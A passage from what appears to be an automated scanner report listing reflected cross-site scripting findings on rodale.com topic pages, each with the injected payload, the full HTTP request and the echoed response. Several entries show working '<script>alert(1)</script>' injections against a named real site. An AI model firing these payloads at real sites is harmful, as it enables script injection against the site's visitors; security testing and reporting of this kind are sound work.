Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:04 GMT
Date: Thu, 10 Mar 2011 17:14:05 GMT
Content-Length: 31492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/hormone-disruption?c41b2"><script>alert(1)</script>068b6f18a40=1" title="Register" class="moreLink">
...[SNIP]...

2.620. http://www.rodale.com/topic/hospitals [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hospitals

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90cd3"><a>733b246144e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic90cd3"><a>733b246144e/hospitals HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:04 GMT
Date: Thu, 10 Mar 2011 17:14:05 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic90cd3"><a>733b246144e topic90cd3">
...[SNIP]...

2.621. http://www.rodale.com/topic/hospitals [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hospitals

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ee6b"><a>b523eae3904 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/hospitals2ee6b"><a>b523eae3904 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:38 GMT
Date: Thu, 10 Mar 2011 17:14:38 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-hospitals2ee6b"><a>b523eae3904 node node-958">
...[SNIP]...

2.622. http://www.rodale.com/topic/hospitals [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/hospitals

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9b90"><script>alert(1)</script>90245d5f3fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/hospitals?e9b90"><script>alert(1)</script>90245d5f3fa=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:02 GMT
Date: Thu, 10 Mar 2011 17:14:02 GMT
Content-Length: 32732
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/hospitals?e9b90"><script>alert(1)</script>90245d5f3fa=1" title="Register" class="moreLink">
...[SNIP]...

2.623. http://www.rodale.com/topic/household-chemicals [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/household-chemicals

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ca8e"><a>7873a312148 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic9ca8e"><a>7873a312148/household-chemicals HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:23 GMT
Date: Thu, 10 Mar 2011 17:14:23 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic9ca8e"><a>7873a312148 topic9ca8e">
...[SNIP]...

2.624. http://www.rodale.com/topic/household-chemicals [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/household-chemicals

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7daad"><a>be0cc646f06 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/household-chemicals7daad"><a>be0cc646f06 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:18 GMT
Date: Thu, 10 Mar 2011 17:15:19 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-household-chemicals7daad"><a>be0cc646f06 node node-958">
...[SNIP]...

2.625. http://www.rodale.com/topic/household-chemicals [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/household-chemicals

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13862"><script>alert(1)</script>5c39a36ec92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/household-chemicals?13862"><script>alert(1)</script>5c39a36ec92=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:19 GMT
Date: Thu, 10 Mar 2011 17:14:20 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/household-chemicals?13862"><script>alert(1)</script>5c39a36ec92=1" title="Register" class="moreLink">
...[SNIP]...

2.626. http://www.rodale.com/topic/hybrid-cars [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hybrid-cars

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3460"><a>313f3ffd707 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica3460"><a>313f3ffd707/hybrid-cars HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:15 GMT
Date: Thu, 10 Mar 2011 17:14:16 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica3460"><a>313f3ffd707 topica3460">
...[SNIP]...

2.627. http://www.rodale.com/topic/hybrid-cars [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/hybrid-cars

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d596"><a>e0beb3c60d6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/hybrid-cars4d596"><a>e0beb3c60d6 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:53 GMT
Date: Thu, 10 Mar 2011 17:14:53 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-hybrid-cars4d596"><a>e0beb3c60d6 node node-958">
...[SNIP]...

2.628. http://www.rodale.com/topic/hybrid-cars [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/hybrid-cars

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce86"><script>alert(1)</script>4896aba1ef6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/hybrid-cars?2ce86"><script>alert(1)</script>4896aba1ef6=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:12 GMT
Date: Thu, 10 Mar 2011 17:14:12 GMT
Content-Length: 30389
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/hybrid-cars?2ce86"><script>alert(1)</script>4896aba1ef6=1" title="Register" class="moreLink">
...[SNIP]...

2.629. http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/ibs-irritable-bowel-syndrome

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f64c2"><a>287179d43fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf64c2"><a>287179d43fe/ibs-irritable-bowel-syndrome HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:29 GMT
Date: Thu, 10 Mar 2011 17:14:29 GMT
Content-Length: 22555
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf64c2"><a>287179d43fe topicf64c2">
...[SNIP]...

2.630. http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/ibs-irritable-bowel-syndrome

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 689e6"><a>a3cd97a176a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/ibs-irritable-bowel-syndrome689e6"><a>a3cd97a176a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:14 GMT
Date: Thu, 10 Mar 2011 17:15:14 GMT
Content-Length: 22534
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-ibs-irritable-bowel-syndrome689e6"><a>a3cd97a176a node node-958">
...[SNIP]...

2.631. http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/ibs-irritable-bowel-syndrome

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b13e8"><script>alert(1)</script>5ade2781584 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/ibs-irritable-bowel-syndrome?b13e8"><script>alert(1)</script>5ade2781584=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:26 GMT
Date: Thu, 10 Mar 2011 17:14:26 GMT
Content-Length: 30593
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/ibs-irritable-bowel-syndrome?b13e8"><script>alert(1)</script>5ade2781584=1" title="Register" class="moreLink">
...[SNIP]...

2.632. http://www.rodale.com/topic/immunity [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/immunity

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4121"><a>20183d1a0e5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc4121"><a>20183d1a0e5/immunity HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:26 GMT
Date: Thu, 10 Mar 2011 17:14:26 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc4121"><a>20183d1a0e5 topicc4121">
...[SNIP]...

2.633. http://www.rodale.com/topic/immunity [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/immunity

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7df58"><a>0d5fd9e3dda was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/immunity7df58"><a>0d5fd9e3dda HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:02 GMT
Date: Thu, 10 Mar 2011 17:15:02 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-immunity7df58"><a>0d5fd9e3dda node node-958">
...[SNIP]...

2.634. http://www.rodale.com/topic/immunity [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/immunity

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb4f8"><script>alert(1)</script>a1a46d313b2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/immunity?cb4f8"><script>alert(1)</script>a1a46d313b2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:24 GMT
Date: Thu, 10 Mar 2011 17:14:24 GMT
Content-Length: 31803
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/immunity?cb4f8"><script>alert(1)</script>a1a46d313b2=1" title="Register" class="moreLink">
...[SNIP]...

2.635. http://www.rodale.com/topic/indoor-air-quality [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/indoor-air-quality

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf5e1"><a>6df7291f1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccf5e1"><a>6df7291f1b/indoor-air-quality HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Content-Length: 22521
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccf5e1"><a>6df7291f1b topiccf5e1">
...[SNIP]...

2.636. http://www.rodale.com/topic/indoor-air-quality [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/indoor-air-quality

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7c7c"><a>1f52f0daa29 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/indoor-air-qualityc7c7c"><a>1f52f0daa29 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:08 GMT
Date: Thu, 10 Mar 2011 17:15:09 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
